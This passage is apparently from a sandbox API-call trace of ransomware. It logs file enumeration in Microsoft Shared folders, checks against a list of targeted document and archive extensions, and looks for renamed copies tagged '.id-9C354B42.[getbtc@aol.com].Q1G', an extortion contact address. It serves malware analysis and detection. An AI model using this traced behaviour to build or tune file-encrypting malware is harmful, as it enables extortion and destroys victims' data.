lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0057.828] lstrlenW (lpString=".zip") returned 4 [0057.829] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0057.829] lstrlenW (lpString=".rar") returned 4 [0057.829] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0057.829] lstrlenW (lpString=".bz2") returned 4 [0057.829] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0057.829] lstrlenW (lpString=".7z") returned 3 [0057.829] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0057.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0057.829] lstrlenW (lpString=".dbf") returned 4 [0057.829] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0057.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0057.829] lstrlenW (lpString=".1cd") returned 4 [0057.829] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0057.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0057.829] lstrlenW (lpString=".jpg") returned 4 [0057.829] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0057.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0057.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0057.829] lstrlenW (lpString=".doc") returned 4 [0057.829] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0057.829] lstrlenW (lpString=".docx") returned 5 [0057.829] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0057.829] lstrlenW (lpString=".pdf") returned 4 [0057.829] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0057.829] lstrlenW (lpString=".xls") returned 4 [0057.829] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0057.829] lstrlenW (lpString=".xlsx") returned 5 [0057.829] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0057.829] lstrlenW (lpString=".ppt") returned 4 [0057.829] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0057.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0057.829] lstrlenW (lpString=".zip") returned 4 [0057.829] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0057.829] lstrlenW (lpString=".rar") returned 4 [0057.829] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0057.830] lstrlenW (lpString=".bz2") returned 4 [0057.830] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0057.830] lstrlenW (lpString=".7z") returned 3 [0057.830] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0057.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0057.830] lstrlenW (lpString=".dbf") returned 4 [0057.830] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0057.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0057.830] lstrlenW (lpString=".1cd") returned 4 [0057.830] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0057.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0057.830] lstrlenW (lpString=".jpg") returned 4 [0057.830] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0057.830] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0057.830] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.831] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=3584) returned 1 [0057.831] CloseHandle (hObject=0x234) returned 1 [0057.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0057.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.831] lstrlenW (lpString=".doc") returned 4 [0057.832] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.832] lstrlenW (lpString=".docx") returned 5 [0057.832] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.832] lstrlenW (lpString=".pdf") returned 4 [0057.832] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.832] lstrlenW (lpString=".xls") returned 4 [0057.832] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.832] lstrlenW (lpString=".xlsx") returned 5 [0057.832] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.832] lstrlenW (lpString=".ppt") returned 4 [0057.832] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.832] lstrlenW (lpString=".zip") returned 4 [0057.832] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.832] lstrlenW (lpString=".rar") returned 4 [0057.832] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.832] lstrlenW (lpString=".bz2") returned 4 [0057.832] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.832] lstrlenW (lpString=".7z") returned 3 [0057.832] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.832] lstrlenW (lpString=".dbf") returned 4 [0057.832] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.832] lstrlenW (lpString=".1cd") returned 4 [0057.832] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.832] lstrlenW (lpString=".jpg") returned 4 [0057.832] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.832] lstrlenW (lpString=".doc") returned 4 [0057.832] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.832] lstrlenW (lpString=".docx") returned 5 [0057.832] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.833] lstrlenW (lpString=".pdf") returned 4 [0057.833] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.833] lstrlenW (lpString=".xls") returned 4 [0057.833] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.833] lstrlenW (lpString=".xlsx") returned 5 [0057.833] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.833] lstrlenW (lpString=".ppt") returned 4 [0057.833] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.833] lstrlenW (lpString=".zip") returned 4 [0057.833] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.833] lstrlenW (lpString=".rar") returned 4 [0057.833] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.833] lstrlenW (lpString=".bz2") returned 4 [0057.833] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.833] lstrlenW (lpString=".7z") returned 3 [0057.833] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.833] lstrlenW (lpString=".dbf") returned 4 [0057.833] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.833] lstrlenW (lpString=".1cd") returned 4 [0057.833] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.833] lstrlenW (lpString=".jpg") returned 4 [0057.833] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.833] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0057.833] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.834] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=4096) returned 1 [0057.834] CloseHandle (hObject=0x234) returned 1 [0057.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0057.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.834] lstrlenW (lpString=".doc") returned 4 [0057.834] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.834] lstrlenW (lpString=".docx") returned 5 [0057.834] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.834] lstrlenW (lpString=".pdf") returned 4 [0057.834] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.834] lstrlenW (lpString=".xls") returned 4 [0057.834] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.834] lstrlenW (lpString=".xlsx") returned 5 [0057.834] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.834] lstrlenW (lpString=".ppt") returned 4 [0057.834] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.835] lstrlenW (lpString=".zip") returned 4 [0057.835] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.835] lstrlenW (lpString=".rar") returned 4 [0057.835] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.835] lstrlenW (lpString=".bz2") returned 4 [0057.835] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.835] lstrlenW (lpString=".7z") returned 3 [0057.835] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.835] lstrlenW (lpString=".dbf") returned 4 [0057.835] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.835] lstrlenW (lpString=".1cd") returned 4 [0057.835] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.835] lstrlenW (lpString=".jpg") returned 4 [0057.835] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.835] lstrlenW (lpString=".doc") returned 4 [0057.835] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.835] lstrlenW (lpString=".docx") returned 5 [0057.835] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.835] lstrlenW (lpString=".pdf") returned 4 [0057.835] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.835] lstrlenW (lpString=".xls") returned 4 [0057.835] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.835] lstrlenW (lpString=".xlsx") returned 5 [0057.835] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.835] lstrlenW (lpString=".ppt") returned 4 [0057.835] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.835] lstrlenW (lpString=".zip") returned 4 [0057.835] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.836] lstrlenW (lpString=".rar") returned 4 [0057.836] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.836] lstrlenW (lpString=".bz2") returned 4 [0057.836] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.836] lstrlenW (lpString=".7z") returned 3 [0057.836] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.836] lstrlenW (lpString=".dbf") returned 4 [0057.836] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.836] lstrlenW (lpString=".1cd") returned 4 [0057.836] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.836] lstrlenW (lpString=".jpg") returned 4 [0057.836] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.836] lstrcmpiW (lpString1=".exe", lpString2=".Q1G") returned -1 [0057.836] lstrlenW (lpString="ConvertInkStore.exe") returned 19 [0057.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.836] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=193024) returned 1 [0057.837] CloseHandle (hObject=0x234) returned 1 [0057.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0057.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.839] lstrlenW (lpString=".doc") returned 4 [0057.839] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.839] lstrlenW (lpString=".docx") returned 5 [0057.839] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0057.839] lstrlenW (lpString=".pdf") returned 4 [0057.839] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0057.839] lstrlenW (lpString=".xls") returned 4 [0057.839] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.839] lstrlenW (lpString=".xlsx") returned 5 [0057.839] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0057.839] lstrlenW (lpString=".ppt") returned 4 [0057.839] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.839] lstrlenW (lpString=".zip") returned 4 [0057.839] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.839] lstrlenW (lpString=".rar") returned 4 [0057.839] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.839] lstrlenW (lpString=".bz2") returned 4 [0057.839] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.839] lstrlenW (lpString=".7z") returned 3 [0057.839] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.839] lstrlenW (lpString=".dbf") returned 4 [0057.840] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.840] lstrlenW (lpString=".1cd") returned 4 [0057.840] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.840] lstrlenW (lpString=".jpg") returned 4 [0057.840] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.840] lstrlenW (lpString=".doc") returned 4 [0057.840] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.840] lstrlenW (lpString=".docx") returned 5 [0057.840] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0057.840] lstrlenW (lpString=".pdf") returned 4 [0057.840] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0057.840] lstrlenW (lpString=".xls") returned 4 [0057.840] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.840] lstrlenW (lpString=".xlsx") returned 5 [0057.840] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0057.840] lstrlenW (lpString=".ppt") returned 4 [0057.840] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.840] lstrlenW (lpString=".zip") returned 4 [0057.840] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.840] lstrlenW (lpString=".rar") returned 4 [0057.840] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.840] lstrlenW (lpString=".bz2") returned 4 [0057.840] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.840] lstrlenW (lpString=".7z") returned 3 [0057.840] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.840] lstrlenW (lpString=".dbf") returned 4 [0057.840] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.840] lstrlenW (lpString=".1cd") returned 4 [0057.841] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.841] lstrlenW (lpString=".jpg") returned 4 [0057.841] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.841] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0057.841] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.841] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=3584) returned 1 [0057.841] CloseHandle (hObject=0x234) returned 1 [0057.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0057.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.842] lstrlenW (lpString=".doc") returned 4 [0057.842] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.842] lstrlenW (lpString=".docx") returned 5 [0057.842] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.842] lstrlenW (lpString=".pdf") returned 4 [0057.842] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.842] lstrlenW (lpString=".xls") returned 4 [0057.842] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.842] lstrlenW (lpString=".xlsx") returned 5 [0057.842] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.842] lstrlenW (lpString=".ppt") returned 4 [0057.842] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.842] lstrlenW (lpString=".zip") returned 4 [0057.842] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.842] lstrlenW (lpString=".rar") returned 4 [0057.842] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.842] lstrlenW (lpString=".bz2") returned 4 [0057.842] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.842] lstrlenW (lpString=".7z") returned 3 [0057.842] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.842] lstrlenW (lpString=".dbf") returned 4 [0057.842] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.842] lstrlenW (lpString=".1cd") returned 4 [0057.842] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.842] lstrlenW (lpString=".jpg") returned 4 [0057.842] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.843] lstrlenW (lpString=".doc") returned 4 [0057.843] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.843] lstrlenW (lpString=".docx") returned 5 [0057.843] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.843] lstrlenW (lpString=".pdf") returned 4 [0057.843] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.843] lstrlenW (lpString=".xls") returned 4 [0057.843] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.843] lstrlenW (lpString=".xlsx") returned 5 [0057.843] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.843] lstrlenW (lpString=".ppt") returned 4 [0057.843] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.843] lstrlenW (lpString=".zip") returned 4 [0057.843] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.843] 